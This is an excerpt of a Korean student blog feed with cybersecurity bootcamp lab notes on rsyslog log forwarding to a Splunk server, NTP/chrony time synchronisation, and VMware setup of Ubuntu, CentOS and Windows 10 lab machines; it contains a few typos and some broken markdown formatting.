<li>facility : 메세지를 발생시키는 프로그램 유형<ul>
<li>종류<ul>
<li>cron : cron, at과 같은 스케줄링 프로그램이 발생한 메시지</li>
<li>auth, security : login과 같이 인증프로그램 유형이 발생한 메시지</li>
<li>authpriv : ssh와 같이 인증을 필요한 프로그램 유형이 발생한 메시지. 사용자 추가 시에도 메시지가 발생</li>
<li>daemon : telnet, ftp 등과 같이 여러 데몬이 발생한 메시지 </li>
<li>kern : 커널이 발생한 메시지</li>
<li>lpr : 프린트 유형의 프로그램이 발생한 메시지</li>
<li>mail : mail 시스템이 발생한 메시지</li>
<li>mark : syslogd에 의해 만들어지는 날짜 유형</li>
<li>news : 유즈넷 뉴스 프로그램 유형이 발생한 메시지</li>
<li>syslog : syslog 프로그램이 유형이 발생한 메시지</li>
<li>user : 사용자 프로세스</li>
<li>uucp : UUCP(UNIX to UNIX Copy Protocol)시스템이 발생한 메시지. local0 ~ local7 여분으로 남겨둔 유형</li>
<li><code>*</code> : 모든 facility를 의미</li>
</ul>
</li>
</ul>
</li>
<li>proiority : 위험도<ul>
<li>종류<ul>
<li>none : 로그로 기록 X</li>
<li>debug : 프로그램을 개발 또는 테스트 할 때 발생하는 메시지</li>
<li>info : 사용자가 알아둬야 할 기본정보 메시지</li>
<li>notice : 특별한 주의를 필요하나 에러는 아닌 메시지</li>
<li><span style="color:#e06c75">warning, warn</span> : 주의가 필요한 경고 메시지(무시해도 됨)</li>
<li><span style="color:#e06c75">error, err</span> : 처리가 필요한 에러 메세지. 소프트웨어 상에서 발생하는 오류 메시지<ul>
<li>crit : 크게 급하지는 않지만 시스템에 문제가 생기는 단계의 메시지. 하드웨어 장치에 문제가 발생 시 생성</li>
<li><span style="color:#e06c75">alert</span> : 즉각적인 조정을 해야하는 상황에서 발생하는 에러 메세지. 시스템 DB에 손상 등 즉시 수정해야되는 상황</li>
<li>emerg, panic : 모든 사용자들에게 전달되는 패닉 상황. 블루스크린, 커널 패닉 등에서 발생</li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
<li>action : 로그 기록 위치<ul>
<li>종류<ul>
<li>file : 로그를 기록할 지정 파일</li>
<li>@host : 로그를 전달할 호스트</li>
<li>user : 지정한 사용자가 로그인한 경우 해당 사용자의 터미널로 전달</li>
<li><code>*</code> : 현재 로그인되어 있는 모든 사용자의 화면으로 전달</li>
<li>콘솔 또는 터미널 : 로그를 전달할 터미널</li>
</ul>
</li>
</ul>
</li>
</ol>
<p>  만약 <code>kern.err</code> 일 때 소프트웨어적인 이슈 뿐만 아니라 하드웨어 적인 부분도 기록한다. 왜? 일종의 계층이기 때문에 <code>err</code> 만 포함하지 않고 <code>err</code> 이후의 문제까지 모두 기록한다. `err, crit, alert, emerg 까지</p>
<blockquote>
<p>💡 <strong>데몬이란?</strong> 백그라운드에서 돌아가는 프로세스</p>
</blockquote>
<h2 id="4-rsyslog-전송-및-수신-실습">4. rsyslog 전송 및 수신 실습</h2>
<blockquote>
<p><a href="https://velog.io/@p-jina/SK-shieldus-Rookies-16%EA%B8%B0-%ED%81%B4%EB%9D%BC%EC%9A%B0%EB%93%9C%EA%B8%B0%EB%B0%98-%EC%8B%9C%EC%8A%A4%ED%85%9C-%EC%9A%B4%EC%98%81-%EB%B0%8F-%EA%B5%AC%EC%B6%95-%EC%8B%A4%EC%8A%B5%ED%99%98%EA%B2%BD%EA%B5%AC%EC%84%B1">실습환경구성(우분투, CentOS, Win10 설치)</a>
<a href="https://velog.io/@p-jina/SK-shieldus-Rookies-16%EA%B8%B0%ED%81%B4%EB%9D%BC%EC%9A%B0%EB%93%9C%EA%B8%B0%EB%B0%98-%EC%8B%9C%EC%8A%A4%ED%85%9C-%EC%9A%B4%EC%98%81-%EB%B0%8F-%EA%B5%AC%EC%B6%95">NTP 서버와 클라이언트 동기화 실습</a></p>
</blockquote>
<h3 id="41-server---splunkserver">4.1. Server - SplunkServer</h3>
<ol>
<li>rsyslog에 로그 규칙 설정<pre><code class="language-shell"># rsyslog 설치 확인
$ dpkg -l *rsyslog*
</code></pre>
</li>
</ol>
<h1 id="nano-편집기로-rsyslog-설정-파일-열기">nano 편집기로 rsyslog 설정 파일 열기</h1>
<p>$ nano /etc/rsyslog.conf</p>
<h1 id="원격으로-오는-로그를-varlog192168100clientlog-에-기록">원격으로 오는 로그를 /var/log/192.168.10.0/client.log 에 기록</h1>
<p>template remote-incoming-logs, &quot;/var/log/192.168.10.0/client.log
<em>.</em>?remote-incoming-logs</p>
<h1 id="rsyslogconf-에서-마지막-10줄-출력">rsyslog.conf 에서 마지막 10줄 출력</h1>
<p>$ tail /etc/rsyslog.conf</p>
<pre><code>
![](https://velog.velcdn.com/images/p-jina/post/43c9e5b2-6e4c-4feb-85ca-1a5fd5021028/image.png)

2. 방화벽 설정하기
```shell
$ ufw allow 514/tcp</code></pre><p><img src="https://velog.velcdn.com/images/p-jina/post/4951bd76-fdb6-4155-833d-1777469f2803/image.png" alt=""></p>
<ol start="3">
<li>rsyslog 재시작 후 상태확인<pre><code class="language-shell"># rsyslog 재시작
$ systemctl restart rsyslog
</code></pre>
</li>
</ol>
<h1 id="rsyslog-상태확인">rsyslog 상태확인</h1>
<p>$ systemctl status rsyslog</p>
<h1 id="rsyslog-자동실행-설정">rsyslog 자동실행 설정</h1>
<p>$ systemctl enable rsyslog</p>
<pre><code>![](https://velog.velcdn.com/images/p-jina/post/d79dbf2c-8d44-430f-9686-4a0138475899/image.png)

4. /var/log/192.168.10.0 디렉토리에 client.log 생성됐는지 확인

![](https://velog.velcdn.com/images/p-jina/post/f9b8bddb-41c0-417d-9f7c-20f4d48f210d/image.png)

![](https://velog.velcdn.com/images/p-jina/post/cc42dca0-4edb-4db5-8426-a6be6d37ebe1/image.png)

5. TCP를 통해 로그 메세지를 수신하는 방법 부분 주석 제거

![](https://velog.velcdn.com/images/p-jina/post/50c68cd6-c21f-418f-887e-a008ccca93ba/image.png)

### 4.2. Client -  ZeekIDS
1. rsyslog.conf에 전송할 로그와 전송 방식 설정
시스템에서 발생하는 모든 종류의 로그를 192.168.10.10:514로 TCP를 이용해 전송
```shell
$ nano /etc/rsyslog.conf

*.*@@192.168.10.10:514 # tcp 방식 전송하는 경우
*.*@192.168.10.10:514 # udp 방식 전송하는 경우</code></pre><p><img src="https://velog.velcdn.com/images/p-jina/post/71b41064-234e-4023-a217-fb1f3c9a960a/image.png" alt=""></p>
<ol start="2">
<li>rsyslog 재시작 후 상태확인<pre><code class="language-shell"># rsyslog 재시작
$ systemctl restart rsyslog
</code></pre>
</li>
</ol>
<h1 id="rsyslog-상태확인-1">rsyslog 상태확인</h1>
<p>$ systemctl status rsyslog</p>
<h1 id="rsyslog-자동실행-설정-1">rsyslog 자동실행 설정</h1>
<p>$ systemctl enable rsyslog</p>
<pre><code>![](https://velog.velcdn.com/images/p-jina/post/5ed385a8-47c0-45f4-8a0c-b3df9eb0a682/image.png)


### 4.3. Client - WebServer
1. rsyslog.conf에 전송할 로그와 전송 방식 설정
시스템에서 발생하는 모든 종류의 로그를 192.168.10.10:514로 TCP를 이용해 전송
```shell
$ gedit /etc/rsyslog.conf

*.*@@192.168.10.10:514 # tcp 방식 전송하는 경우
*.*@192.168.10.10:514 # udp 방식 전송하는 경우</code></pre><ol start="2">
<li>rsyslog 재시작 후 상태확인<pre><code class="language-shell"># rsyslog 재시작
$ systemctl restart rsyslog
</code></pre>
</li>
</ol>
<h1 id="rsyslog-상태확인-2">rsyslog 상태확인</h1>
<p>$ systemctl status rsyslog</p>
<h1 id="rsyslog-자동실행-설정-2">rsyslog 자동실행 설정</h1>
<p>$ systemctl enable rsyslog</p>
<pre><code>![](https://velog.velcdn.com/images/p-jina/post/e307db60-f6f9-4ea0-8051-88bd9c8d3eed/image.png)

3. rsyslog가 포함된 네트워크 연결 확인 및 514포트인 네트워크 연결 확인
```shell
$ netstat -natip | grep rsyslog
$ lsof -i tcp:514</code></pre><p><img src="https://velog.velcdn.com/images/p-jina/post/74ebb525-7a85-4925-88da-7d23136b4b07/image.png" alt=""></p>
<h3 id="44-server에서-수신-확인">4.4. Server에서 수신 확인</h3>
<pre><code class="language-shell"># 로그가 저장된 디렉토리로 이동
$ cd /var/log/192.168.10.0

# client.log에 저장된 기록 중 호스트명이 ZeekIDS인 것만 보기
$ cat client.log | gerp ZeekIDS</code></pre>
<p><img src="https://velog.velcdn.com/images/p-jina/post/fc9c061e-60ee-4bb5-b8d6-60a54591f330/image.png" alt=""></p>
<pre><code class="language-shell"># client.log에 저장된 기록 중 호스트명이 WebServer 인 것만 보기
$ cat client.log | gerp WebServer</code></pre>
<p><img src="https://velog.velcdn.com/images/p-jina/post/1eb728e9-8feb-47c8-89b3-23272e6ea147/image.png" alt=""></p>
<h2 id="5-과제">5. 과제</h2>
<ol>
<li>/etc/rsyslog.conf 에 시스템 부팅되거나 종료되면 로그 작성하는 규칙 작성<pre><code class="language-shell"># /etc/rsyslog.conf
</code></pre>
</li>
</ol>
<p>daemon,mail.<em>;<br>    news.=crit;news.=err;news.=notice;<br>    *.=debug;</em>.=info;<br>    <em>.=notice;</em>.=warn /var/log/boot.log</p>
<pre><code>
2. rsyslog 재시작 및 상태 확인
```shell
# rsyslog 재시작
$ systemctl restart rsyslog

# rsyslog 상태확인
$ systemctl status rsyslog</code></pre><ol start="3">
<li>작성된 로그 확인<pre><code class="language-shell">$ cat /var/log/boot.log</code></pre>
<img src="https://velog.velcdn.com/images/p-jina/post/bbf593c9-9e16-4737-a26a-daf339b3a571/image.png" alt=""></li>
</ol>
]]></description>
        </item>
        <item>
            <title><![CDATA[[SK shieldus Rookies 16기][클라우드기반 시스템 운영 및 구축] NTP 서버와 클라이언트 동기화 실습]]></title>
            <link>https://velog.io/@p-jina/SK-shieldus-Rookies-16%EA%B8%B0%ED%81%B4%EB%9D%BC%EC%9A%B0%EB%93%9C%EA%B8%B0%EB%B0%98-%EC%8B%9C%EC%8A%A4%ED%85%9C-%EC%9A%B4%EC%98%81-%EB%B0%8F-%EA%B5%AC%EC%B6%95</link>
            <guid>https://velog.io/@p-jina/SK-shieldus-Rookies-16%EA%B8%B0%ED%81%B4%EB%9D%BC%EC%9A%B0%EB%93%9C%EA%B8%B0%EB%B0%98-%EC%8B%9C%EC%8A%A4%ED%85%9C-%EC%9A%B4%EC%98%81-%EB%B0%8F-%EA%B5%AC%EC%B6%95</guid>
            <pubDate>Thu, 04 Jan 2024 07:08:57 GMT</pubDate>
            <description><![CDATA[<p>이전 시간에 <a href="https://velog.io/@p-jina/SK-shieldus-Rookies-16%EA%B8%B0-%ED%81%B4%EB%9D%BC%EC%9A%B0%EB%93%9C%EA%B8%B0%EB%B0%98-%EC%8B%9C%EC%8A%A4%ED%85%9C-%EC%9A%B4%EC%98%81-%EB%B0%8F-%EA%B5%AC%EC%B6%95-%EC%8B%A4%EC%8A%B5%ED%99%98%EA%B2%BD%EA%B5%AC%EC%84%B1">실습환경구성</a>을 마쳤다.</p>
<h2 id="1-ntpnetwork-time-protocol">1. NTP(Network Time Protocol)</h2>
<h3 id="11-정의">1.1. 정의</h3>
<ul>
<li>네트워크 시간 동기화 서비스를 제공하는 프로토콜</li>
<li>UDP 123번 포트 사용</li>
<li><a href="https://www.ntppool.org/ko/">NTP 서버들에 대한 정보 제공 🔗</a></li>
</ul>
<h3 id="12-시간-동기화-목적">1.2. 시간 동기화 목적</h3>
<ol>
<li>백업이나 패치 등 예약한 작업들이 실행되지 않는 것 방지</li>
<li>로그에 대한 신뢰도 - 언제 어떤 작업을 했는지 보여주는 로그의 시간은 정확해야한다.</li>
<li>보안, 암호화 인증 프로토콜 과정 시 timestap 및 lifetime이 추가되기 때문에 - 이때 서버와 클라이언트의 시간이 일치하지 않으면 서비스에 접근을 차단당한다.</li>
</ol>
<h3 id="13-stratum">1.3. Stratum</h3>
<p><img src="https://velog.velcdn.com/images/p-jina/post/58f0e361-efb1-43ac-9887-2c7cd8699939/image.png" alt=""></p>
<ul>
<li>세계 표준 시간 Atomic clocks에서 얼마나 멀리 떨어져있는지를 나타내는 것.</li>
<li>시간을 전송해주는 서버</li>
</ul>
<h2 id="2-설치">2. 설치</h2>
<p><img src="https://velog.velcdn.com/images/p-jina/post/fe466bc3-218f-495b-b886-828dad44ded1/image.png" alt=""></p>
<p>1단계. 프로그램 설치
2단계. 환경설정 - /etc 
3단계. 방화벽 설정
4단계. 서비스 활성화
5단계. 서비스 상태확인</p>
<h3 id="21-server---splunkserverubuntu">2.1. Server - SplunkServer(Ubuntu)</h3>
<ol>
<li><p>리포지토리 인덱스 업데이트 및 NTP서버 설치</p>
<pre><code class="language-shell">$ apt update
$ apt-get install -y ntp
$ sntp --version</code></pre>
<p><img src="https://velog.velcdn.com/images/p-jina/post/dfca96f1-dbf0-45a4-9568-51d3c28f73c2/image.png" alt=""></p>
</li>
<li><p>가장 가까운 NTP server pool로 전환
<a href="https://www.ntppool.org/zone/kr">https://www.ntppool.org/zone/kr</a>
기존에 있는 설정은 주석처리 후 임의 서버들로 지정</p>
</li>
</ol>
<p><img src="https://velog.velcdn.com/images/p-jina/post/88578b79-d2ca-457e-b53d-aec5014e2ca4/image.png" alt=""></p>
<ol start="3">
<li><p>NTP 서버 재시작 및 실행상태 확인</p>
<pre><code class="language-shell">$ service ntp restart
$ service ntp status</code></pre>
<p><img src="https://velog.velcdn.com/images/p-jina/post/4d25e27e-75f0-482e-b1f1-08f830aecefd/image.png" alt=""></p>
</li>
<li><p>클라이언트가 NTP 서버에 접근할 수 있도록 방화벽 구성</p>
<pre><code class="language-shell">$ ufw allow from any to any port 123 proto udp
$ ufw enable
$ ufw status</code></pre>
<p><img src="https://velog.velcdn.com/images/p-jina/post/ead96e65-23f9-4f9b-8d1b-e0c74dbf0ed9/image.png" alt=""></p>
</li>
</ol>
<blockquote>
<p><strong>ufw에서 중복된 규칙 삭제하는 방법</strong></p>
</blockquote>
<pre><code class="language-shell"># 규칙에 번호 확인하기
$ ufw status numbered
# ufw delete 삭제하려는 규칙 번호
$ ufw delete 4</code></pre>
<ol start="5">
<li>현재 동기화중인 NTP 서버정보 확인<pre><code class="language-shell">$ ntpq -p</code></pre>
<img src="https://velog.velcdn.com/images/p-jina/post/4551b9fd-beed-4c0f-aa34-b0cda1cf760a/image.png" alt=""></li>
</ol>
<ul>
<li>remote<ul>
<li><code>*</code> : 지금 동기화하고 있는 NTP 서버 IP</li>
<li><code>+</code> : 동기화가 가능한 Second NTP 서버 IP</li>
<li>공백 또는 <code>-</code> : 접속이 불가한 IP </li>
</ul>
</li>
<li>refi</li>
<li>st: 스트라텀(Stratum)</li>
<li>t: 시간을 받아들이는 방식(Unicast / Broadcast / Multicast 3가지 방식이 존재함)</li>
</ul>
<p>현재 내 SplunkServer에서 동기화 하고 있는 서버 IP는 
<code>185.125.190.58</code> 인 것을 확인할 수 있다. 만약 이 서버에 문제가 생기면 <code>+</code> 표시가 되어 있는<code>184.125.190.56</code> 이나 <code>alphyn.canonica</code> 서버가 대신 동기화를 수행하게 된다.</p>
<pre><code class="language-shell"># 현재 시스템의 날짜와 시간을 RFC 2822 형식으로 출력
$ date -R</code></pre>
<p><img src="https://velog.velcdn.com/images/p-jina/post/60c25eb6-efae-4f8a-8aa1-34d52a1b05af/image.png" alt=""></p>
<pre><code class="language-shell"># 현재 날짜, 시간, 타임존, 타임 서버와의 동기화 여부를 모두 출력 
$ timedatectl</code></pre>
<p><img src="https://velog.velcdn.com/images/p-jina/post/9c5db437-9f24-43cd-9df6-0d7f30de0ba5/image.png" alt=""></p>
<h3 id="22-client---zeekidsubuntu">2.2. Client - ZeekIDS(Ubuntu)</h3>
<ol>
<li><p>ntpdate 설치 및 리눅스 시간을 timeserver와 동기화하기</p>
<pre><code class="language-shell">$ apt-get install ntpdate</code></pre>
<p><img src="https://velog.velcdn.com/images/p-jina/post/19fb06d0-24e7-4c91-8eed-71a9a745fabc/image.png" alt=""></p>
</li>
<li><p>호스트 파일에 NTP 서버 IP 및 호스트 이름 지정</p>
</li>
</ol>
<p><img src="https://velog.velcdn.com/images/p-jina/post/5513ed44-09da-4050-9a1f-c2334c181f99/image.png" alt=""></p>
<ol start="3">
<li>NTP 서버와 시간을 동기화하기<pre><code class="language-shell">$ ntpdate splunk-server</code></pre>
</li>
</ol>
<p><img src="https://velog.velcdn.com/images/p-jina/post/3736ee27-f421-4b4f-9096-1a4133ab0260/image.png" alt=""></p>
<ol start="4">
<li><p>systemd timesyncd 서비스 활성화</p>
<pre><code class="language-shell"># 시스템 시간(리눅스 커널 시간이나 소프트웨어 시간) 동기화 활성화
$ timedatectl set-ntp true</code></pre>
</li>
<li><p>동기화된 시간 확인</p>
<pre><code class="language-shell"># 현재 시스템의 날짜와 시간을 RFC 2822 형식으로 출력
$ date -R
</code></pre>
</li>
</ol>
<h1 id="현재-날짜-시간-타임존-타임-서버와의-동기화-여부를-모두-출력">현재 날짜, 시간, 타임존, 타임 서버와의 동기화 여부를 모두 출력</h1>
<p>$ timedatectl</p>
<pre><code>![](https://velog.velcdn.com/images/p-jina/post/8bb81267-abc4-49a0-99c9-b9ab3d894896/image.png)

### 2.3. Client - WebServer(CentOS)

CentOS는 chrony가 기본적으로 설치되어 있기 때문에 ntp를 설치하지 않아도 된다.

&gt; **chrony란?**
- 레드햇 계열의 리눅스 기본 시간 동기화 프로그램 
- 레드햇 엔터프라이즈 리눅스 8부터 기본 시간 동기화 프로그램으로 채택
- CentOS 8 chrony 를 기본 시간 동기화 프로그램으로 사용
- Chrony는 기본설치가 되어 있어서 CentOS 8에서 별도 설치하지 않고 사용 가능
#### chrony 설치 확인 명령어
```shell
# RPM 패키지 데이터베이스에서 chrony 패키지 검색
$ rpm -qa | grep chrony</code></pre><h4 id="chrony-사용법">chrony 사용법</h4>
<ul>
<li>설정 파일에서 해당 지역의 NTP 서버 등록</li>
<li>chrony 서비스 재시작</li>
<li>시간 동기화 적용 확인 및 NTP 서버 동작 확인</li>
</ul>
<ol>
<li>호스트 파일에 NTP 호스트명 등록<pre><code class="language-shell"># 관리자 모드
$ su
</code></pre>
</li>
</ol>
<h1 id="hosts-파일-편집기로-열기">hosts 파일 편집기로 열기</h1>
<p>$ gedit /etc/hosts</p>
<pre><code>![](https://velog.velcdn.com/images/p-jina/post/232ffffd-d88d-4162-ab70-2ec8e5b3b51a/image.png)

2. chrony 설정 파일에 NTP 서버 등록
```shell
$ gedit /etc/chrony.conf</code></pre><p><img src="https://velog.velcdn.com/images/p-jina/post/bb13d42a-c457-4a1c-8a4a-22cd62486f6d/image.png" alt=""></p>
<ol start="3">
<li>chronyd 서비스 활성화 상태 확인<pre><code class="language-shell"># chronyd 재시작
$ systemctl restart chronyd
</code></pre>
</li>
</ol>
<h1 id="chronyd-상태-확인">chronyd 상태 확인</h1>
<p>$ systemctl status chronyd</p>
<pre><code>![](https://velog.velcdn.com/images/p-jina/post/174af0f4-75a1-49b5-a365-ded0765382c0/image.png)

```shell
# chronyc 데몬 서비스로 현재 사용중인 NTP 소스 서버 상태 표시
$ chronyc sources -v</code></pre><p><img src="https://velog.velcdn.com/images/p-jina/post/bc77fe95-016b-4bd1-9cee-84979f6861f4/image.png" alt=""></p>
<h3 id="24-client---sysmonwin10">2.4. Client - Sysmon(Win10)</h3>
<ol>
<li><p>호스트 파일에 NTP 서버 호스트 등록
CMD창을 관리자 권한으로 실행</p>
<pre><code class="language-shell">$ cd C:\Windows\System32\drivers\etc
$ notepad hosts</code></pre>
<p><img src="https://velog.velcdn.com/images/p-jina/post/e517476c-a126-4647-af83-d23323eafe6b/image.png" alt=""></p>
</li>
<li><p>NTP 서버 시간과 동기화 시키기</p>
</li>
</ol>
<p><img src="https://velog.velcdn.com/images/p-jina/post/7d665e79-4265-4799-a5b0-da68cecd83bb/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/5d2b961d-b604-4fe0-82eb-33eb8d388f65/image.png" alt=""></p>
<ol start="3">
<li>동기화 상태 확인<pre><code class="language-shell">$ w32tm /query /status</code></pre>
<img src="https://velog.velcdn.com/images/p-jina/post/bea192c7-d94a-4e32-8492-4cb4d0073886/image.png" alt=""></li>
</ol>
<pre><code class="language-shell">$ w32tm /dumpreg / subkey:parameters</code></pre>
<p><img src="https://velog.velcdn.com/images/p-jina/post/7bb6ae8f-eb5b-4cff-8029-b7b55ef42839/image.png" alt=""></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[SK shieldus Rookies 16기][클라우드기반 시스템 운영 및 구축] 실습환경구성(우분투, CentOS, Win10 설치)]]></title>
            <link>https://velog.io/@p-jina/SK-shieldus-Rookies-16%EA%B8%B0-%ED%81%B4%EB%9D%BC%EC%9A%B0%EB%93%9C%EA%B8%B0%EB%B0%98-%EC%8B%9C%EC%8A%A4%ED%85%9C-%EC%9A%B4%EC%98%81-%EB%B0%8F-%EA%B5%AC%EC%B6%95-%EC%8B%A4%EC%8A%B5%ED%99%98%EA%B2%BD%EA%B5%AC%EC%84%B1</link>
            <guid>https://velog.io/@p-jina/SK-shieldus-Rookies-16%EA%B8%B0-%ED%81%B4%EB%9D%BC%EC%9A%B0%EB%93%9C%EA%B8%B0%EB%B0%98-%EC%8B%9C%EC%8A%A4%ED%85%9C-%EC%9A%B4%EC%98%81-%EB%B0%8F-%EA%B5%AC%EC%B6%95-%EC%8B%A4%EC%8A%B5%ED%99%98%EA%B2%BD%EA%B5%AC%EC%84%B1</guid>
            <pubDate>Thu, 04 Jan 2024 02:06:14 GMT</pubDate>
            <description><![CDATA[<h2 id="실습-환경-구성">실습 환경 구성</h2>
<blockquote>
<p><strong>네트워크 설정</strong></p>
</blockquote>
<table>
<thead>
<tr>
<th>이름</th>
<th>주소</th>
<th>넷마스크</th>
<th>게이트웨이</th>
</tr>
</thead>
<tbody><tr>
<td>SplunkServer</td>
<td>192.168.10.10/24</td>
<td>255.255.255.0</td>
<td>192.168.10.2</td>
</tr>
<tr>
<td>ZeekIDS</td>
<td>192.168.10.20/24</td>
<td>255.255.255.0</td>
<td>192.168.10.2</td>
</tr>
<tr>
<td>WebServer</td>
<td>192.168.10.30/24</td>
<td>255.255.255.0</td>
<td>192.168.10.2</td>
</tr>
<tr>
<td>Sysmon</td>
<td>192.168.10.40/24</td>
<td>255.255.255.0</td>
<td>192.168.10.2</td>
</tr>
</tbody></table>
<h2 id="1-우분투-설치">1. <a href="https://old-releases.ubuntu.com/releases/20.04/">우분투 설치</a></h2>
<p>사용한 이미지는 ubuntu-20.04.1-desktop-amd64.iso
<img src="https://velog.velcdn.com/images/p-jina/post/3923f443-63fb-4cae-9bc0-e1c69f7ec34d/image.png" alt=""></p>
<p>[Splunk]</p>
<ul>
<li>Processors: 2 / 2</li>
<li>Memory for this virtual machine: 4096MB</li>
<li>Use network address translation (NAT)</li>
<li>LSI Logic</li>
<li>SCSI</li>
<li>Create a new virtual disk</li>
<li>Maximum disk size: 40GB</li>
<li>Store virtual disk as a single file</li>
</ul>
<p>[Edit Virtual Machine]</p>
<ul>
<li>Network Adapter - Custom: Specific virtual network: VMnet8(NAT)</li>
<li>CD/DVD (SATA) - Use ISO image file: 우분투 이미지 선택</li>
</ul>
<h3 id="우분투-해상도-조정">우분투 해상도 조정</h3>
<p><img src="https://velog.velcdn.com/images/p-jina/post/8124e7c8-7c39-482b-8629-6ee1756016c0/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/c3b7e240-33bd-490c-bf63-d19b58487572/image.png" alt=""></p>
<h3 id="ubuntu-설치">Ubuntu 설치</h3>
<p>바탕화면에서 <code>Install Ubuntu 20.04 LTS</code> 더블 클릭
모두 기본 설정으로 설치 진행한다.</p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/acb77746-1f8d-4f1d-b8fa-b8b0ae96c95f/image.png" alt=""></p>
<p>splunk / 1234</p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/40a23b01-cda3-414e-ad80-ec7e3c5a8f84/image.png" alt=""></p>
<p>동일 방식으로 우분투 가상머신 추가로 생성한다.</p>
<p>[ZeekIDS]</p>
<ul>
<li>Processors: 2 / 1</li>
<li>Memory for this virtual machine: 2096MB</li>
<li>Use network address translation (NAT)</li>
<li>LSI Logic</li>
<li>SCSI</li>
<li>Create a new virtual disk</li>
<li>Maximum disk size: 40GB</li>
<li>Store virtual disk as a single file</li>
</ul>
<p>[Edit Virtual Machine]</p>
<ul>
<li>Network Adapter - Custom: Specific virtual network: VMnet8(NAT)</li>
<li>CD/DVD (SATA) - Use ISO image file: 우분투 이미지 선택</li>
</ul>
<p><img src="https://velog.velcdn.com/images/p-jina/post/ea45f171-20a6-4b90-ac77-67a0648752c7/image.png" alt="">
zeekids / 1234</p>
<h3 id="네트워크-설정">네트워크 설정</h3>
<p><img src="https://velog.velcdn.com/images/p-jina/post/ebff382d-5b9a-449a-a387-aadc39315cb4/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/f84b5b58-f900-4d1b-b2ca-8bde7233e821/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/7529bc19-13e6-4d90-af39-0190b6f905d4/image.png" alt=""></p>
<h3 id="저장소-변경">저장소 변경</h3>
<p>Splunk &amp; ZeekIDS 동일하게 진행</p>
<pre><code class="language-shell">$ sudo su -
# Ubuntu 저장소 주소 기록 파일 위치 
$ cd /etc/apt
$ mv sources.list sources.list.bak
$ vi sources.list

# sources.list 내용으로 아래 내용 복사해서 붙여넣기
# 기존에 우분투 공식사이트의 패키지를 사용하고 있었으나 카카오의 저장소를 쓰겠다고 결정한 것
# 내 저장소와 카카오의 저장소를 비교에서 없는 패키지는 설치가 진행된다.
deb http://ftp.daumkakao.com/ubuntu/ focal main
deb http://archive.ubuntu.com/ubuntu/ focal main

deb http://ftp.daumkakao.com/ubuntu/ focal universe
deb http://archive.ubuntu.com/ubuntu/ focal universe

deb http://ftp.daumkakao.com/ubuntu/ focal multiverse
deb http://archive.ubuntu.com/ubuntu/ focal multiverse

deb http://ftp.daumkakao.com/ubuntu/ focal restricted
deb http://archive.ubuntu.com/ubuntu/ focal restricted

# 패키지 업데이트
$ apt update</code></pre>
<p><img src="https://velog.velcdn.com/images/p-jina/post/2eba966a-26b8-405e-815e-bbd912fbacc7/image.png" alt=""></p>
<h3 id="ip-확인">IP 확인</h3>
<pre><code class="language-shell">$ sudo su - 
$ apt install -y net-tools</code></pre>
<p><img src="https://velog.velcdn.com/images/p-jina/post/137d1b7d-ed38-4074-92ef-757d4c0291f2/image.png" alt=""></p>
<pre><code class="language-shell">$ ifconfig</code></pre>
<p><img src="https://velog.velcdn.com/images/p-jina/post/3d6d3fdf-6732-4fbd-9960-5681a7c71d99/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/4ef66adf-f937-49ed-89f4-a2626e78d627/image.png" alt=""></p>
<blockquote>
<p>만약 내가 설정한대로 IP주소가 변경되지 않는다면 
VMware &gt; Edit &gt; Virtual Network Editor 에서 <code>Use local DHCP service to distribute IP address to VMs</code> 항목이 체크되어 있는지 확인하기! 체크되어 있으면 체크 해제!</p>
</blockquote>
<h2 id="2-centos-7-설치">2. CentOS 7 설치</h2>
<p>[WebServer]</p>
<ul>
<li>Processors: 2 / 1</li>
<li>Memory for this virtual machine: 4096MB</li>
<li>Use network address translation (NAT)</li>
<li>LSI Logic</li>
<li>SCSI</li>
<li>Create a new virtual disk</li>
<li>Maximum disk size: 20GB</li>
<li>Store virtual disk as a single file</li>
</ul>
<p>[Edit Virtual Machine]</p>
<ul>
<li>Network Adapter - Custom: Specific virtual network: VMnet8(NAT)</li>
<li>CD/DVD (SATA) - Use ISO image file: CentOS 7 이미지 선택</li>
</ul>
<br />

<p>소프트웨어 선택
<img src="https://velog.velcdn.com/images/p-jina/post/d284b03c-95b2-4c30-a7a5-eabfe32aa852/image.png" alt=""></p>
<p>시스템 설치 대상
<img src="https://velog.velcdn.com/images/p-jina/post/081b7443-1af7-47ff-ae8c-0f0d2e1da15b/image.png" alt=""></p>
<h3 id="네트워크-설정-1">네트워크 설정</h3>
<p>IP 주소: 192.168.19.30
Subnet mask: 255.255.255.9
Gateway: 192.168.10.2</p>
<p>ROOT 암호 1234
<img src="https://velog.velcdn.com/images/p-jina/post/5c606a95-a5bb-4ea9-8021-06d53776ec27/image.png" alt=""></p>
<p>사용자 생성
<img src="https://velog.velcdn.com/images/p-jina/post/6b5a70d9-ed0d-4aa0-b378-627007a55096/image.png" alt=""></p>
<p>설치 완료 후 Kdump 비활성화
<img src="https://velog.velcdn.com/images/p-jina/post/2846b38a-c2cc-4bf0-86c8-b7c3992d61a3/image.png" alt=""></p>
<h3 id="ip-확인-1">IP 확인</h3>
<pre><code class="language-shell">$ sudo su -
$ ifconfig</code></pre>
<p><img src="https://velog.velcdn.com/images/p-jina/post/b5b9303c-8dea-46f8-8977-243b76f0ec81/image.png" alt=""></p>
<h3 id="저장소-변경-1">저장소 변경</h3>
<pre><code class="language-shell"># CentOS 저장소 주소 기록 파일 위치
$ cd /etc/yum.repos.d

# CentOS 패키지 업데이트
$ yum update</code></pre>
<h2 id="3-win10-설치">3. Win10 설치</h2>
<p>[Sysmon]</p>
<ul>
<li>Microsoft Windows</li>
<li>Version: Windows 10 x64</li>
<li>BIOS</li>
<li>Processors: 2 / 1</li>
<li>Memory for this virtual machine: 4096MB</li>
<li>Use network address translation (NAT)</li>
<li>LSI Logic</li>
<li>SCSI</li>
<li>Create a new virtual disk</li>
<li>Maximum disk size: 20GB</li>
<li>Store virtual disk as a single file</li>
</ul>
<p>[Edit Virtual Machine]</p>
<ul>
<li>Network Adapter - Custom: Specific virtual network: VMnet8(NAT)</li>
